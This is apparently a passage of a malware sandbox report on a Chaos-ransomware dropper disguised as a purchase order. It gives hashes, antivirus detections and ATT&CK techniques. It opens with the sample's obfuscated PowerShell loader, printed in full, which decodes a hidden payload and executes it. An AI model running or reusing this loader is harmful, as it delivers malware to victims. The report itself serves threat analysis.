\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"5c:Tbfb,-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2';$xVRcCKBZ='ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, '$dMWc1oD74', ''));$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'') $hXCVgQEI01d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791056344122,"unified_at":"2026-10-03T19:39:04.122Z","metadata":{"hashes":{"sha256":"03ff10f626253ac8613b7c489170d602c524b9e8b69ebc13d677a800b0bdb0db","sha1":"428710fe6cd300d607805b25cea48516275eed76","md5":"b7e5d882f64df87f2d70b9df4df1033f","sha512":"aa06483573222487fd28e79f49ce822c103822c0dedb594f563c7ca8fc18ca18ec4b56440b14d386e97f4dfa12f2af7fbd9802225cb5ac0ea3d1f7243c78018b","ssdeep":"768:4z57Ngy0RKQnbFY3if1hrTA8DQpOOOOOOOROOOp7OsCCC0OOCnUMGCV8oZ7OOOtP:vnb4itdTAn5x","ssdeep_chunks":["768:4z57Ngy","768:z57Ngy0","768:57Ngy0R","768:7Ngy0RK","768:Ngy0RKQ","768:gy0RKQn","768:y0RKQnb","768:0RKQnbF","768:RKQnbFY","768:KQnbFY3","768:QnbFY3i","768:nbFY3if","768:bFY3if1","768:FY3if1h","768:Y3if1hr","768:3if1hrT","768:if1hrTA","768:f1hrTA8","768:1hrTA8D","768:hrTA8DQ","768:rTA8DQp","768:TA8DQpO","768:A8DQpOO","768:8DQpOOO","768:DQpOOOO","768:QpOOOOO","768:pOOOOOO","768:OOOOOOO","768:OOOOOOR","768:OOOOORO","768:OOOOROO","768:OOOROOO","768:OOROOOp","768:OROOOp7","768:ROOOp7O","768:OOOp7Os","768:OOp7OsC","768:Op7OsCC","768:p7OsCCC","768:7OsCCC0","768:OsCCC0O","768:sCCC0OO","768:CCC0OOC","768:CC0OOCn","768:C0OOCnU","768:0OOCnUM","768:OOCnUMG","768:OCnUMGC","768:CnUMGCV","768:nUMGCV8","768:UMGCV8o","768:MGCV8oZ","768:GCV8oZ7","768:CV8oZ7O","768:V8oZ7OO","768:8oZ7OOO","768:oZ7OOOt","768:Z7OOOtP","1536:4z57Ngy","1536:z57Ngy0","1536:57Ngy0R","1536:7Ngy0RK","1536:Ngy0RKQ","1536:gy0RKQn","1536:y0RKQnb","1536:0RKQnbF","1536:RKQnbFY","1536:KQnbFY3","1536:QnbFY3i","1536:nbFY3if","1536:bFY3if1","1536:FY3if1h","1536:Y3if1hr","1536:3if1hrT","1536:if1hrTA","1536:f1hrTA8","1536:1hrTA8D","1536:hrTA8DQ","1536:rTA8DQp","1536:TA8DQpO","1536:A8DQpOO","1536:8DQpOOO","1536:DQpOOOO","1536:QpOOOOO","1536:pOOOOOO","1536:OOOOOOO","1536:OOOOOOR","1536:OOOOORO","1536:OOOOROO","1536:OOOROOO","1536:OOROOOp","1536:OROOOp7","1536:ROOOp7O","1536:OOOp7Os","1536:OOp7OsC","1536:Op7OsCC","1536:p7OsCCC","1536:7OsCCC0","1536:OsCCC0O","1536:sCCC0OO","1536:CCC0OOC","1536:CC0OOCn","1536:C0OOCnU","1536:0OOCnUM","1536:OOCnUMG","1536:OCnUMGC","1536:CnUMGCV","1536:nUMGCV8","1536:UMGCV8o","1536:MGCV8oZ","1536:GCV8oZ7","1536:CV8oZ7O","1536:V8oZ7OO","1536:8oZ7OOO","1536:oZ7OOOt","1536:Z7OOOtP","768:vnb4itd","768:nb4itdT","768:b4itdTA","768:4itdTAn","768:itdTAn5","768:tdTAn5x"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"526cf53c95d9b096cd181cd38d04cc3873c250cf"},"file_info":{"file_name":"HJ GROUPS - PURCHASE ORDER #170331.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":39424,"entropy":6,"compile_timestamp":"2026-07-14T10:14:14","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1784027481000,"last_seen":1791055961000,"last_multi_scan":1791055961000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"embedded_file_count":10,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":13208,"raw_size":13312},{"name":".reloc","virtual_address":"0x6000","virtual_size":12,"raw_size":512},{"name":".rsrc","virtual_address":"0x8000","virtual_size":24778,"raw_size":25088}],"section_names":[".text",".reloc",".rsrc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["ransomware","malicious","new_domain","windows-server-utility"]},"stats":{"av":{"malicious_count":15,"suspicious_count":0,"total_engines":24},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":94},"sandbox_signatures":{"informative_count":229,"suspicious_count":35,"malicious_count":10,"total":274},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Malware/Win.Zusy","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/MSIL.Alien","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.37","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Win.Packed.Zusy-10059940-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.37 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/TrojanDropper.Agent.GQI trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanSpy/MSIL.Stealer.lo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 700000201 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"capa_manipulate_console_buffer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Mal/Mdrop-MR","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_Agent.KCL.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL.JYG","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Dropper.Agent.Win32.739648","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.Chaos.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to start a process (Dotnet)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls native functions (syscalls)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Able to execute applications using .NET process API"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Able to execute application (.NET)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Calls a system call typically used to get directory entries"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Able to decrypt/decode data"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"suspicious","value":"Spawned process connects to a network"},{"type":"informative","value":"Found potential URL in binary/memory"}],"sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Defense Evasion","technique":"Compile After Delivery","attack_id":"T1027.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/004","identifiers":[{"type":"informative","value":"Performs cross platform execution"},{"type":"suspicious","value":"Invokes the C# compiler"}],"sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"informative","value":"Calls an API typically used to remove a directory"},{"type":"suspicious","value":"Removes a file or a directory (syscall)"},{"type":"suspicious","value":"Opens file with deletion access rights"}],"sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Process modifies its security profile or runtime behavior via prctl"},{"type":"informative","value":"Process renames itself via prctl (potential evasion)"},{"type":"suspicious","value":"Submission/internal name is suspicious for an executable"},{"type":"informative","value":"Drops files inside appdata directory"},{"type":"informative","value":"The process modifies itself (often used to modify name for evasion)"}],"sources":[{"report_type":"sandbox","report_id":"6a836193d81d0be28803bb5f"},{"report_type":"sandbox","report_id":"6a56c62e0de8681a1b0aba9f"},{"report_type":"sandbox","report_id":"6a9a001ef495be5076038f23"},{"report_type":"sandbox","report_id":"6a83631a407ea2e5610e4514"},{"report_type":"sandbox","report_id":"6ac15858aa14d56180099ef9"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"suspicious","value":"Calls an API typically used to find and list the Windows drive types"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Queries system general information (syscall)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Reads the windows installation date"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware 